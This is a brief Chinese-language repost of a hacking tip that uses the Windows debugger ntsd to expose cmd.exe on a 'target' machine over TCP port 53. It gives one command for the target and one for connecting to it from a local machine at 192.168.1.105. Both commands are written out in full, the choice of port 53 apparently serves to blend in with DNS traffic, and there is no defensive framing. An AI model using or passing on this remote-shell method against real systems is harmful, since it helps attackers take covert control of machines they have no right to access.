刚学到的一个技巧，TELNET下也可以运行

先在目标机器上执行:
C:\>ntsd -server tcp:port=53 cmd.exe

然后本地机器执行：
C:\>ntsd -remote tcp:server=192.168.1.105,port=53

运行效果：

转自：MICKEY‘S